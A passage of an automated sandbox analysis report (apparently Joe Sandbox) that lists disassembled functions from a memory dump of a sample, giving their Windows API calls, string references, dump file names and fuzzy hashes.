SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 006AA583
_wcscmp.LIBCMT ref: 006AA5BF
GetClassNameW.USER32(?,?,00000400), ref: 006AA5F6
GetDlgCtrlID.USER32(?), ref: 006AA648
GetWindowRect.USER32(?,?), ref: 006AA67E
GetParent.USER32(?), ref: 006AA69C
ScreenToClient.USER32(00000000), ref: 006AA6A3
GetClassNameW.USER32(?,?,00000100), ref: 006AA71D
_wcscmp.LIBCMT ref: 006AA731
GetWindowTextW.USER32(?,?,00000400), ref: 006AA757
_wcscmp.LIBCMT ref: 006AA76B

Part of subcall function 0067362C: _iswctype.LIBCMT ref: 00673634

Strings

%s%u, xrefs: 006AA515

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 9dd8f978171d99823c891151835e2424c1f58ff4004a58d428142ff5fb7d978d
Instruction ID: f8d392ce07bc1e4f5e9165d800349ad04241185e046b337b2fd8cd69eae81290
Opcode Fuzzy Hash: 9dd8f978171d99823c891151835e2424c1f58ff4004a58d428142ff5fb7d978d
Instruction Fuzzy Hash: 32A1B371604606AFD715EFA0C884BEAB7EAFF45314F00852AF999C2290DB30ED55CF92

Function 006AAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 006AAF18
_wcscmp.LIBCMT ref: 006AAF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 006AAF51
CharUpperBuffW.USER32(?,00000000), ref: 006AAF6E
_wcscmp.LIBCMT ref: 006AAF8C
_wcsstr.LIBCMT ref: 006AAF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 006AAFD5
_wcscmp.LIBCMT ref: 006AAFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 006AB00C
GetClassNameW.USER32(00000018,?,00000400), ref: 006AB055
_wcscmp.LIBCMT ref: 006AB065
GetClassNameW.USER32(00000010,?,00000400), ref: 006AB08D
GetWindowRect.USER32(00000004,?), ref: 006AB0F6

Strings

@, xrefs: 006AAEF9
ThumbnailClass, xrefs: 006AAFE0, 006AB060

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: a63668c24b3a17bce259f7656e609281478a6d40173af470ed7e29d27bbfcf18
Instruction ID: 940a5c68bc838d634e51604f12b5af45f0354c9435b8d56854fe55206d93e7ca
Opcode Fuzzy Hash: a63668c24b3a17bce259f7656e609281478a6d40173af470ed7e29d27bbfcf18
Instruction Fuzzy Hash: 9981A1711082059FDB04EF10C885FAA77EAEF45314F04956EFD858A292DB34DD49CFA1

Function 006AABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 006AAC33

Strings

REGEXP=, xrefs: 006AAC48
[ALL, xrefs: 006AACD9
[REGEXPTITLE:, xrefs: 006AAC5B
CLASSNAME=, xrefs: 006AAC70
ALL, xrefs: 006AACC7
[LAST, xrefs: 006AACE0
[CLASS:, xrefs: 006AAC83
HANDLE=, xrefs: 006AAC2C
LAST, xrefs: 006AABF8
[HANDLE:, xrefs: 006AAC3F
[ACTIVE, xrefs: 006AAC20
ACTIVE, xrefs: 006AAC0E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: d9eb650cab42b6eec8529b4ff6253cdba127f203c782fc9c03220e5a1e749c03
Instruction ID: 8dccc77ed819761efe185849e62079105cd0edd423ad07b19a37a85cd9da5c51
Opcode Fuzzy Hash: d9eb650cab42b6eec8529b4ff6253cdba127f203c782fc9c03220e5a1e749c03
Instruction Fuzzy Hash: ED31E5B0A48205EBDA58FA94DD03EEE73A6AF11721F20421EF803711D1EF556F08CA5A

Function 006C4FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 006C5013
LoadCursorW.USER32(00000000,00007F00), ref: 006C501E
LoadCursorW.USER32(00000000,00007F03), ref: 006C5029
LoadCursorW.USER32(00000000,00007F8B), ref: 006C5034
LoadCursorW.USER32(00000000,00007F01), ref: 006C503F
LoadCursorW.USER32(00000000,00007F81), ref: 006C504A
LoadCursorW.USER32(00000000,00007F88), ref: 006C5055
LoadCursorW.USER32(00000000,00007F80), ref: 006C5060
LoadCursorW.USER32(00000000,00007F86), ref: 006C506B
LoadCursorW.USER32(00000000,00007F83), ref: 006C5076
LoadCursorW.USER32(00000000,00007F85), ref: 006C5081
LoadCursorW.USER32(00000000,00007F82), ref: 006C508C
LoadCursorW.USER32(00000000,00007F84), ref: 006C5097
LoadCursorW.USER32(00000000,00007F04), ref: 006C50A2
LoadCursorW.USER32(00000000,00007F02), ref: 006C50AD
LoadCursorW.USER32(00000000,00007F89), ref: 006C50B8
GetCursorInfo.USER32(?), ref: 006C50C8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: ffe477f507a518c03af2d7bb42d2218b96599dd3df96ac526b6357f46b7e3177
Instruction ID: 653492589fa5d2892231c0d2ae046cf050fcd31c7cff3f068b5a5bdfd0712365
Opcode Fuzzy Hash: ffe477f507a518c03af2d7bb42d2218b96599dd3df96ac526b6357f46b7e3177
Instruction Fuzzy Hash: AA3117B1E083196ADF109FB68C89DAFBFE9FF04750F50452AA50DE7280DA78A540CF95

Function 006D4392 Relevance: 24.8, APIs: 2, Strings: 12, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 006D4424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 006D446F

Strings

GETTOTALCOUNT, xrefs: 006D4456
GETSELECTED, xrefs: 006D457F
ISCHECKED, xrefs: 006D45F2
@U=u, xrefs: 006D446F
CHECK, xrefs: 006D448F
SELECT, xrefs: 006D4620
COLLAPSE, xrefs: 006D44B5
EXISTS, xrefs: 006D44D8
GETTEXT, xrefs: 006D45C2
EXPAND, xrefs: 006D4521
GETITEMCOUNT, xrefs: 006D4551
UNCHECK, xrefs: 006D464B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: @U=u$CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-383632319
Opcode ID: da2ee399d677a24c2d653990e409343541dc8a10e2f7fc7e2475411583984c0b
Instruction ID: efb93c02bb9de4cdd675dfbd288dd316649e24b8c25f2e8b9e29d4a2086eab79
Opcode Fuzzy Hash: da2ee399d677a24c2d653990e409343541dc8a10e2f7fc7e2475411583984c0b
Instruction Fuzzy Hash: A5917E70604701DBCB44EF20C451A6EB7E3AF95350F14886DF8965B3A2CB35ED4ACBA5

Function 006DB7FE Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 006DB8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,006D6B11,?), ref: 006DB910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 006DB949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 006DB98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 006DB9C3
FreeLibrary.KERNEL32(?), ref: 006DB9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 006DB9DF
DestroyIcon.USER32(?), ref: 006DB9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 006DBA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 006DBA17

Part of subcall function 00672EFD: __wcsicmp_l.LIBCMT ref: 00672F86

Strings

.dll, xrefs: 006DB86D
.exe, xrefs: 006DB84A
@U=u, xrefs: 006DB9F7
.icl, xrefs: 006DB82A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl$@U=u
API String ID: 1212759294-1639919054
Opcode ID: bad2c47dba8fe2b400dbfac38ae8294f05a6b3e29ff9ca112247dc8f6f3f8129
Instruction ID: 9a29d747c9cfdc985b4b4a04ab847fdae42156ef1ffe65606d05a7243032cca2
Opcode Fuzzy Hash: bad2c47dba8fe2b400dbfac38ae8294f05a6b3e29ff9ca112247dc8f6f3f8129
Instruction Fuzzy Hash: 1961E071900205FAEB14DF64DC41FFE7BAAFB09720F10851AF915DA2C1DB749A81DBA0

Function 006DC1AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 006DC1FC
GetFocus.USER32 ref: 006DC20C
GetDlgCtrlID.USER32(00000000), ref: 006DC217
_memset.LIBCMT ref: 006DC342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 006DC36D
GetMenuItemCount.USER32(?), ref: 006DC38D
GetMenuItemID.USER32(?,00000000), ref: 006DC3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 006DC3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 006DC41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 006DC454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 006DC489

Strings

0, xrefs: 006DC33A
hW, xrefs: 006DC2F2, 006DC318

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0$hW
API String ID: 1296962147-580508736
Opcode ID: 9880cb6300dc791296adee650a1fbc8a916680f436c210d59c80a60f36a81a50
Instruction ID: 5bee6b2a3419005999dbf64fe69e760f9b083a171e90f2e5ff2a8707f230a820
Opcode Fuzzy Hash: 9880cb6300dc791296adee650a1fbc8a916680f436c210d59c80a60f36a81a50
Instruction Fuzzy Hash: 3D817D70A093069FD714CF14C894AABBBEAFF88724F00492EF99597391D730D905CB92

Function 0065201B Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00651B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00652036,?,00000000,?,?,?,?,006516CB,00000000,?), ref: 00651B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 006520D3
KillTimer.USER32(-00000001,?,?,?,?,006516CB,00000000,?,?,00651AE2,?,?), ref: 0065216E
DestroyAcceleratorTable.USER32(00000000), ref: 0068BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006516CB,00000000,?,?,00651AE2,?,?), ref: 0068BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006516CB,00000000,?,?,00651AE2,?,?), ref: 0068BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006516CB,00000000,?,?,00651AE2,?,?), ref: 0068BD0A
DeleteObject.GDI32(00000000), ref: 0068BD1C

Strings

hW, xrefs: 00652054

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: hW
API String ID: 641708696-1300829777
Opcode ID: 4e01ec67ca4e53035568c4688156f2b727b18c8ef43dcca17958babf7b97ce45
Instruction ID: ec0b860ac294893fa82b4c40af92d2ae9cb3ea5349f1e40fe81b69ab6597cdc9
Opcode Fuzzy Hash: 4e01ec67ca4e53035568c4688156f2b727b18c8ef43dcca17958babf7b97ce45
Instruction Fuzzy Hash: 3A619E31501A01DFCB39AF18D968BAAB7F3FF81312F10952DE9424BAB0C774A895DB54

Function 006BA352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

CharLowerBuffW.USER32(?,?), ref: 006BA3CB
GetDriveTypeW.KERNEL32 ref: 006BA418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 006BA460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 006BA497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 006BA4C5

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Strings

wait, xrefs: 006BA482
set cd door , xrefs: 006BA466
open, xrefs: 006BA3F2
close, xrefs: 006BA3D1
type cdaudio alias cd wait, xrefs: 006BA443
open , xrefs: 006BA427
closed, xrefs: 006BA3DF, 006BA3E8
close cd wait, xrefs: 006BA4B0

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: b859b1a37dd5583982ec8199e417f1d25055b53edf1f3ca515577fb5175441a1
Instruction ID: 557a5639f4fc328d1524fffb5763d4fb258770b98316ffeb5cacc3c6ba58aaa0
Opcode Fuzzy Hash: b859b1a37dd5583982ec8199e417f1d25055b53edf1f3ca515577fb5175441a1
Instruction Fuzzy Hash: 39515FB1514305DFC780EF20C8918AAB7E6EF94719F00896DF89A572A1DB31ED09CB56

Function 006AF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0068E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 006AF8DF
LoadStringW.USER32(00000000,?,0068E029,00000001), ref: 006AF8E8

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0068E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 006AF90A
LoadStringW.USER32(00000000,?,0068E029,00000001), ref: 006AF90D
__swprintf.LIBCMT ref: 006AF95D
__swprintf.LIBCMT ref: 006AF96E
_wprintf.LIBCMT ref: 006AFA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 006AFA2E

Strings

Line %d (File "%s"):, xrefs: 006AF957
Error: , xrefs: 006AF9E5
%s (%d) : ==> %s: %s %s, xrefs: 006AFA12
Line %d:, xrefs: 006AF968
^ ERROR, xrefs: 006AF9C3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 20b5098c413347365de18324115fa8611d0cfa6c813478c06222a6b0e7b6c0ed
Instruction ID: 78958a804f3647732314eb266c5141a8e2fd74553b7cbdd916cd98a3dd540003
Opcode Fuzzy Hash: 20b5098c413347365de18324115fa8611d0cfa6c813478c06222a6b0e7b6c0ed
Instruction Fuzzy Hash: 7F414E7280021DAACF44FFE0DD96DEEB77AAF15301F100169B906760A2EA356F09CB65

Function 006521A5 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

GetSysColor.USER32(0000000F), ref: 006521D3

Strings

hW, xrefs: 006521ED

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ColorLongWindow
String ID: hW
API String ID: 259745315-1300829777
Opcode ID: a1dfb151501d28101c3f20c7b0757a08fbc418a25cfc329f79206f1694eb4553
Instruction ID: a480d999eb890079c4e6f160aa38024e30fe5cc51386f835290f4bb6ee92db14
Opcode Fuzzy Hash: a1dfb151501d28101c3f20c7b0757a08fbc418a25cfc329f79206f1694eb4553
Instruction Fuzzy Hash: 5E41B035400141DEDB255F28EC98BF93B67EB07322F185366FE668A2E1C7318E46DB21

Function 006BD899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 006BDA10
_wcscat.LIBCMT ref: 006BDA28
_wcscat.LIBCMT ref: 006BDA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 006BDA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 006BDA63
GetFileAttributesW.KERNEL32(?), ref: 006BDA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 006BDA95
SetCurrentDirectoryW.KERNEL32(?), ref: 006BDAA7

Strings

*.*, xrefs: 006BDAE6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: b0db41b804a5d33b66ba3f38202c2c99d0b1819d0a2aec9dc7a74f2f9ec39329
Instruction ID: 951882f83d987cc4cca417a3d0df2617d203e9cc446f892ba9d7b89637d604a7
Opcode Fuzzy Hash: b0db41b804a5d33b66ba3f38202c2c99d0b1819d0a2aec9dc7a74f2f9ec39329
Instruction Fuzzy Hash: 448192B15042419FCB64EF64C8449EAB7EAAF89350F18892EF889CB351E734D985CB52

Function 006D6F23 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 006D6FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 006D6FA8
GetWindowLongW.USER32(?,000000F0), ref: 006D6FCC
_memset.LIBCMT ref: 006D6FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 006D6FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 006D7067

Strings

hW, xrefs: 006D6F6F, 006D6F7E, 006D6FB4, 006D7006, 006D712F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID: hW
API String ID: 830647256-1300829777
Opcode ID: c45c508dd31caf2a4076f3ed1af0e40da66ba41d27199229e563cbcef554132f
Instruction ID: 016ad49d75eb83a22929877c44ceac1739929a79447921223e596c80e97caa51
Opcode Fuzzy Hash: c45c508dd31caf2a4076f3ed1af0e40da66ba41d27199229e563cbcef554132f
Instruction Fuzzy Hash: 16618A71900208AFDB10DFA8CC81EEE77BAEB09710F14415AFA14AB3E1D775AD41DB94

Function 006C731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006C738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 006C739B
CreateCompatibleDC.GDI32(?), ref: 006C73A7
SelectObject.GDI32(00000000,?), ref: 006C73B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 006C7408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 006C7444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 006C7468
SelectObject.GDI32(00000006,?), ref: 006C7470
DeleteObject.GDI32(?), ref: 006C7479
DeleteDC.GDI32(00000006), ref: 006C7480
ReleaseDC.USER32(00000000,?), ref: 006C748B

Strings

(, xrefs: 006C7410

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
